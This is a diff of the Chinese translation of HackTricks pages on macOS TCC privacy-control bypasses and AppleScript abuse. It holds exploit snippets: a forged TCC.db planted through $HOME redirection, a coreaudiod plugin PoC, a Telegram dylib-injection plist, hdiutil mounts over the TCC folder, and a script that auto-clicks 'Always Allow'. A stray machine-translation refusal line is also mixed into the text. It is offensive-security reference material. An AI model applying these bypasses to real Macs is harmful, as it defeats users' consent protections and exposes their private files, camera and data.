根据 [这个 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 以及因为 TCC 守护进程是通过 `launchd` 在当前用户的域中运行的,可以**控制传递给它的所有环境变量**。\
|
||||
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境变量** 指向一个**受控的目录**,**重启** **TCC** 守护进程,然后**直接修改 TCC 数据库**,给自己授予**所有可用的 TCC 权限**,而不需要提示最终用户。\
|
||||
根据[这篇 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686),由于 TCC 守护进程是通过 `launchd` 在当前用户的域中运行的,因此可以**控制传递给它的所有环境变量**。\
|
||||
因此,攻击者可以在 **`launchctl`** 中设置 **`$HOME`** 环境变量,使其指向一个**受控的** **目录**,**重启** **TCC** 守护进程,然后**直接修改 TCC 数据库**,以赋予自己**所有可用的 TCC 权限**,而无需提示最终用户。\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -137,37 +139,37 @@ NULL,
|
|||
# list Documents directory without prompting the end user
|
||||
$> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - 笔记
|
||||
### CVE-2021-30761 - Notes
|
||||
|
||||
笔记有权访问TCC保护的位置,但是当创建笔记时,它是在**非保护位置创建的**。因此,您可以要求笔记将受保护的文件复制到一个笔记中(因此在一个非保护的位置),然后访问该文件:
|
||||
Notes 有权访问 TCC 保护的位置,但是当创建一个笔记时,它是在**非保护位置创建的**。因此,您可以要求 Notes 将受保护的文件复制到一个笔记中(所以在一个非保护的位置),然后访问该文件:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - 转移
|
||||
### CVE-2021-30782 - Translocation
|
||||
|
||||
二进制文件`/usr/libexec/lsd`和库`libsecurity_translocate`拥有`com.apple.private.nullfs_allow`权限,允许它创建**nullfs**挂载,并拥有`com.apple.private.tcc.allow`权限,带有**`kTCCServiceSystemPolicyAllFiles`**以访问每个文件。
|
||||
二进制文件 `/usr/libexec/lsd` 和库 `libsecurity_translocate` 拥有 `com.apple.private.nullfs_allow` 权限,允许它创建**nullfs** 挂载,并拥有 `com.apple.private.tcc.allow` 权限,具有 **`kTCCServiceSystemPolicyAllFiles`** 来访问每个文件。
|
||||
|
||||
可以向"Library"添加隔离属性,调用**`com.apple.security.translocation`** XPC服务,然后它会将Library映射到**`$TMPDIR/AppTranslocation/d/d/Library`**,在那里可以**访问**Library内的所有文档。
|
||||
可以向 "Library" 添加隔离属性,调用 **`com.apple.security.translocation`** XPC 服务,然后它会将 Library 映射到 **`$TMPDIR/AppTranslocation/d/d/Library`**,在那里可以**访问** Library 内的所有文档。
|
||||
|
||||
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会将拖放到**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**的文件**导入**用户的"媒体库"。此外,它会调用类似:**`rename(a, b);`** 其中`a`和`b`是:
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会将拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件**导入**用户的“媒体库”。此外,它会调用类似:**`rename(a, b);`** 其中 `a` 和 `b` 是:
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
|
||||
这个**`rename(a, b);`** 行为容易受到**竞态条件**的影响,因为可以在`Automatically Add to Music.localized`文件夹中放置一个假的**TCC.db**文件,然后当新文件夹(b)创建以复制文件时,删除它,并将其指向**`~/Library/Application Support/com.apple.TCC`**/。
|
||||
这个 **`rename(a, b);`** 行为容易受到**竞态条件**的影响,因为可以在 `Automatically Add to Music.localized` 文件夹中放置一个假的 **TCC.db** 文件,然后当新文件夹(b)创建以复制文件时,删除它,并将其指向 **`~/Library/Application Support/com.apple.TCC`**/。
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
如果设置了**`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着**任何打开的数据库都会被复制到该路径**。在这个CVE中,这个控制被滥用来**写入**一个将由拥有FDA的进程打开的TCC数据库中的**SQLite数据库**,然后滥用**`SQLITE_SQLLOG_DIR`**,在文件名中使用**符号链接**,所以当该数据库**打开**时,用户的**TCC.db被覆盖**为打开的那个。\
|
||||
如果 **`SQLITE_SQLLOG_DIR="path/folder"`** 基本上意味着**任何打开的数据库都会被复制到那个路径**。在这个 CVE 中,这个控制被滥用来**写入**一个将由拥有 FDA 的进程打开的 TCC 数据库中的**SQLite 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`** 和文件名中的**符号链接**,所以当那个数据库**打开**时,用户的 **TCC.db 被覆盖**为打开的那个。\
|
||||
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[ **在讲话中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
如果设置了环境变量**`SQLITE_AUTO_TRACE`**,库**`libsqlite3.dylib`**将开始**记录**所有SQL查询。许多应用程序使用了这个库,因此可以记录它们所有的SQLite查询。
|
||||
如果设置了环境变量 **`SQLITE_AUTO_TRACE`**,库 **`libsqlite3.dylib`** 将开始**记录**所有 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。
|
||||
|
||||
苹果的几个应用程序使用了这个库来访问受TCC保护的信息。
|
||||
若干苹果应用程序使用这个库来访问 TCC 保护的信息。
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
|
@ -176,32 +178,32 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
|
||||
此**环境变量由 `Metal` 框架使用**,它是多个程序的依赖,尤其是具有FDA的 `Music`。
|
||||
|
||||
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。如果 `path` 是一个有效的目录,漏洞将被触发,我们可以使用 `fs_usage` 来查看程序中发生了什么:
|
||||
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。如果 `path` 是一个有效目录,漏洞将触发,我们可以使用 `fs_usage` 来查看程序中发生了什么:
|
||||
|
||||
* 一个名为 `path/.dat.nosyncXXXX.XXXXXX`(X 是随机的)的文件将被 `open()`,
|
||||
* 一个或多个 `write()` 将把内容写入文件(我们无法控制这一点),
|
||||
* 一个或多个 `write()` 将内容写入文件(我们无法控制这一点),
|
||||
* `path/.dat.nosyncXXXX.XXXXXX` 将被 `renamed()` 为 `path/name`。
|
||||
|
||||
这是一个临时文件写入,随后是一个**`rename(old, new)`** **这不安全。**
|
||||
|
||||
它不安全,因为它必须**分别解析旧路径和新路径**,这可能需要一些时间,并且可能对竞争条件(Race Condition)敏感。更多信息可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
它不安全,因为它必须**分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。更多信息可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
|
||||
{% hint style="danger" %}
|
||||
所以,基本上,如果一个拥有特权的进程正在重命名一个你控制的文件夹,你可以赢得一个RCE并使其访问不同的文件,或者像在这个CVE中,打开特权应用创建的文件并存储一个FD。
|
||||
所以,基本上,如果一个拥有特权的进程正在重命名一个你控制的文件夹,你可以赢得一个 RCE 并使其访问不同的文件,或者像在这个 CVE 中,打开特权应用创建的文件并存储一个 FD。
|
||||
|
||||
如果重命名访问了你控制的文件夹,而你已经修改了源文件或拥有一个FD,你可以将目标文件(或文件夹)更改为指向一个符号链接,这样你就可以随意写入。
|
||||
如果重命名访问了你控制的文件夹,而你已经修改了源文件或拥有一个 FD,你可以将目标文件(或文件夹)更改为指向一个符号链接,这样你就可以随意写入。
|
||||
{% endhint %}
|
||||
|
||||
这是CVE中的攻击:例如,为了覆盖用户的 `TCC.db`,我们可以:
|
||||
这是 CVE 中的攻击:例如,为了覆盖用户的 `TCC.db`,我们可以:
|
||||
|
||||
* 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
* 创建目录 `/Users/hacker/tmp/`
|
||||
* 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
* 通过运行带有此环境变量的 `Music` 来触发漏洞
|
||||
* 通过运行带有此环境变量的 `Music` 触发漏洞
|
||||
* 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` 的 `open()`(X 是随机的)
|
||||
* 在这里我们也为写入 `open()` 这个文件,并保持文件描述符
|
||||
* 在循环中原子性地切换 `/Users/hacker/tmp` 和 `/Users/hacker/ourlink`
|
||||
* 我们这样做是为了最大化成功的机会,因为竞争窗口非常短,但是失去竞争几乎没有不利影响
|
||||
* 在循环中原子性地将 `/Users/hacker/tmp` 与 `/Users/hacker/ourlink` 切换
|
||||
* 我们这样做是为了最大化成功的机会,因为竞争窗口非常短,但是失去竞争几乎没有缺点
|
||||
* 稍等片刻
|
||||
* 测试我们是否幸运
|
||||
* 如果没有,从头开始再来
|
||||
|
@ -214,15 +216,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
|
||||
### Apple Remote Desktop
|
||||
|
||||
作为root,你可以启用此服务,**ARD代理将拥有完整的磁盘访问权限**,然后用户可以滥用它来复制新的**TCC用户数据库**。
|
||||
作为 root,你可以启用此服务,**ARD 代理将拥有完整的磁盘访问权限**,然后可以被用户滥用,使其复制新的**TCC 用户数据库**。
|
||||
|
||||
## 通过 **NFSHomeDirectory**
|
||||
|
||||
TCC在用户的HOME文件夹中使用一个数据库来控制对特定于用户的资源的访问,位于 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
因此,如果用户设法用指向**不同文件夹**的$HOME环境变量重启TCC,用户可以在 **/Library/Application Support/com.apple.TCC/TCC.db** 中创建一个新的TCC数据库,并欺骗TCC授予任何应用程序任何TCC权限。
|
||||
TCC 在用户的 HOME 文件夹中使用一个数据库来控制对用户特定资源的访问,在 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
因此,如果用户设法用指向**不同文件夹**的 $HOME 环境变量重启 TCC,用户可以在 **/Library/Application Support/com.apple.TCC/TCC.db** 中创建一个新的 TCC 数据库,并欺骗 TCC 授予任何应用程序任何 TCC 权限。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,Apple使用存储在用户配置文件中的设置作为 **`NFSHomeDirectory`** 属性的**`$HOME`** 的值,所以如果你攻破了一个有权限修改这个值的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**),你可以**武器化**这个选项,绕过TCC。
|
||||
请注意,Apple 使用存储在用户配置文件中的设置作为 **`NFSHomeDirectory`** 属性的**`$HOME`** 的值,所以如果你攻破了一个有权限修改这个值的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**),你可以用 TCC 绕过来**武器化**这个选项。
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -231,7 +233,7 @@ TCC在用户的HOME文件夹中使用一个数据库来控制对特定于用户
|
|||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
**第一个POC** 使用 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 和 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) 来修改用户的 **HOME** 文件夹。
|
||||
**第一个 POC** 使用 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 和 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) 来修改用户的 **HOME** 文件夹。
|
||||
|
||||
1. 获取目标应用的 _csreq_ blob。
|
||||
2. 放置一个带有所需访问权限和 _csreq_ blob 的假 _TCC.db_ 文件。
|
||||
|
@ -240,35 +242,35 @@ TCC在用户的HOME文件夹中使用一个数据库来控制对特定于用户
|
|||
5. 使用 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) 导入修改后的目录服务条目。
|
||||
6. 停止用户的 _tccd_ 并重启进程。
|
||||
|
||||
第二个POC使用了 **`/usr/libexec/configd`**,它具有 `com.apple.private.tcc.allow` 的值 `kTCCServiceSystemPolicySysAdminFiles`。\
|
||||
可以通过 **`configd`** 的 **`-t`** 选项,攻击者可以指定一个 **自定义Bundle来加载**。因此,利用 **替换** **`dsexport`** 和 **`dsimport`** 方法来更改用户家目录的 **`configd` 代码注入**。
|
||||
第二个 POC 使用了 **`/usr/libexec/configd`**,它具有 `com.apple.private.tcc.allow` 的值 `kTCCServiceSystemPolicySysAdminFiles`。\
|
||||
可以通过 **`configd`** 的 **`-t`** 选项,攻击者可以指定一个 **自定义 Bundle 来加载**。因此,这个漏洞 **替换了** 通过 **`dsexport`** 和 **`dsimport`** 方法更改用户家目录的 **`configd` 代码注入**。
|
||||
|
||||
更多信息请查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
|
||||
## 通过进程注入
|
||||
|
||||
有不同的技术可以将代码注入到进程中并滥用其TCC权限:
|
||||
有不同的技术可以在进程中注入代码并滥用其 TCC 权限:
|
||||
|
||||
{% content-ref url="../../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
此外,最常见的绕过TCC的进程注入是通过 **插件(加载库)**。\
|
||||
插件通常是以库或plist的形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序有权访问TCC受限文件(通过授予的权限或权利),**自定义代码也将拥有它**。
|
||||
此外,最常见的绕过 TCC 的进程注入是通过 **插件(加载库)**。\
|
||||
插件通常是以库或 plist 的形式存在的额外代码,将由主应用程序 **加载** 并在其上下文中执行。因此,如果主应用程序已经获得了对 TCC 受限文件的访问权限(通过授予的权限或权利),**自定义代码也将拥有它**。
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 拥有权利 **`kTCCServiceSystemPolicySysAdminFiles`**,加载带有 **`.daplug`** 扩展名的插件,并且 **没有加固** 运行时。
|
||||
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 拥有权利 **`kTCCServiceSystemPolicySysAdminFiles`**,加载带有 **`.daplug`** 扩展名的插件,并且**没有硬化**运行时。
|
||||
|
||||
为了武器化这个CVE,**`NFSHomeDirectory`** 被 **更改**(滥用前述权利),以便能够 **接管用户的TCC数据库** 来绕过TCC。
|
||||
为了武器化这个 CVE,**`NFSHomeDirectory`** 被**更改**(滥用前述权利),以便能够**接管用户的 TCC 数据库**来绕过 TCC。
|
||||
|
||||
更多信息请查看 [**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
二进制文件 **`/usr/sbin/coreaudiod`** 拥有权利 `com.apple.security.cs.disable-library-validation` 和 `com.apple.private.tcc.manager`。第一个 **允许代码注入**,第二个给予它管理 **TCC** 的权限。
|
||||
二进制文件 **`/usr/sbin/coreaudiod`** 拥有权利 `com.apple.security.cs.disable-library-validation` 和 `com.apple.private.tcc.manager`。第一个**允许代码注入**,第二个给予它管理 TCC 的权限。
|
||||
|
||||
这个二进制文件允许从文件夹 `/Library/Audio/Plug-Ins/HAL` 加载 **第三方插件**。因此,可以 **加载插件并滥用TCC权限** 使用这个PoC:
|
||||
这个二进制文件允许从文件夹 `/Library/Audio/Plug-Ins/HAL` 加载 **第三方插件**。因此,可以**加载插件并滥用 TCC 权限**。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -341,9 +343,9 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram 拥有 **`com.apple.security.cs.allow-dyld-environment-variables`** 和 **`com.apple.security.cs.disable-library-validation`** 权限,因此可以滥用它来**获取其权限**,例如使用摄像头录制。您可以在[**写入报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
Telegram 拥有 **`com.apple.security.cs.allow-dyld-environment-variables`** 和 **`com.apple.security.cs.disable-library-validation`** 权限,因此可以滥用它来**获取其权限**,例如使用摄像头录制。您可以在[**报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
|
||||
请注意如何使用环境变量来加载库,创建了一个**自定义 plist** 来注入此库,并使用 **`launchctl`** 来启动它:
|
||||
请注意如何使用环境变量来加载库,创建了一个**自定义 plist** 来注入这个库,并使用 **`launchctl`** 来启动它:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -381,7 +383,7 @@ launchctl load com.telegram.launcher.plist
|
|||
|
||||
在技术人员使用的计算机中,通常会给终端 **完全磁盘访问权限 (FDA)**。并且可以使用它来调用 **`.terminal`** 脚本。
|
||||
|
||||
**`.terminal`** 脚本是像这样的 plist 文件,其中 **`CommandString`** 键包含要执行的命令:
|
||||
**`.terminal`** 脚本是像这样的 plist 文件,其中包含在 **`CommandString`** 键中要执行的命令:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -399,7 +401,7 @@ launchctl load com.telegram.launcher.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
应用程序可以在例如 `/tmp` 的位置编写一个终端脚本,并使用以下命令启动它:
|
||||
应用程序可以在如 /tmp 之类的位置编写一个终端脚本,并使用以下命令启动它:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -416,8 +418,6 @@ exploit_location]; task.standardOutput = pipe;
|
|||
|
||||
**任何用户**(即使是非特权用户)都可以创建并挂载时间机器快照,并**访问该快照的所有文件**。
|
||||
所需的**唯一权限**是应用程序(如`Terminal`)需要有**完全磁盘访问**(FDA)权限(`kTCCServiceSystemPolicyAllfiles`),这需要由管理员授权。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
|
@ -441,9 +441,9 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - 覆盖 TCC 文件挂载
|
||||
### CVE-2021-1784 & CVE-2021-30808 - 在TCC文件上挂载
|
||||
|
||||
即使 TCC DB 文件受到保护,也可以**覆盖目录**挂载一个新的 TCC.db 文件:
|
||||
即使TCC数据库文件受到保护,也可以**在目录上挂载**一个新的TCC.db文件:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -455,9 +455,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
|||
## Mount over ~/Library
|
||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||
```
|
||||
```
|
||||
无需翻译的内容。
|
||||
```
|
||||
Since the provided text does not contain any English content to translate, there is no translation to provide. If you have specific English content that you would like translated into Chinese, please provide the text, and I will be happy to assist you.
|
||||
```python
|
||||
# This was the python function to create the dmg
|
||||
def create_dmg():
|
||||
|
@ -487,35 +485,37 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
## 通过grep
|
||||
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等(这在Apple中被视为一个漏洞)。
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等(这在苹果公司算是一个漏洞)。
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 合成点击
|
||||
|
||||
这种方法不再有效,但[**过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
这个方法现在不再有效,但[**过去是有效的**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
另一种使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)的方法:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
* [**20+ Ways to Bypass Your macOS Privacy Mechanisms**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
* [**20+种绕过macOS隐私机制的方法**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
* [**击败TCC - 20+种新的绕过MacOS隐私机制的方法**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在HackTricks中看到您的**公司广告**,或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,50 +1,56 @@
|
|||
# macOS苹果脚本
|
||||
# macOS Apple 脚本
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 苹果脚本
|
||||
## Apple 脚本
|
||||
|
||||
这是一种用于任务自动化的脚本语言,用于与远程进程进行交互。它可以很容易地**请求其他进程执行某些操作**。**恶意软件**可能会滥用这些功能来滥用其他进程导出的函数。\
|
||||
例如,恶意软件可以**在打开的浏览器页面中注入任意的JS代码**。或者**自动点击**用户请求的某些权限。
|
||||
这是一种用于任务自动化的脚本语言,**与远程进程交互**。它使得**请求其他进程执行某些操作**变得非常容易。**恶意软件**可能会滥用这些功能来滥用其他进程导出的函数。\
|
||||
例如,恶意软件可以**在浏览器打开的页面中注入任意 JS 代码**。或者**自动点击**请求用户允许的一些权限;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
以下是一些示例:[https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
在[**这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)可以找到有关使用AppleScript进行恶意软件攻击的更多信息。
|
||||
有关使用applescripts的恶意软件的更多信息请点击[**这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
|
||||
|
||||
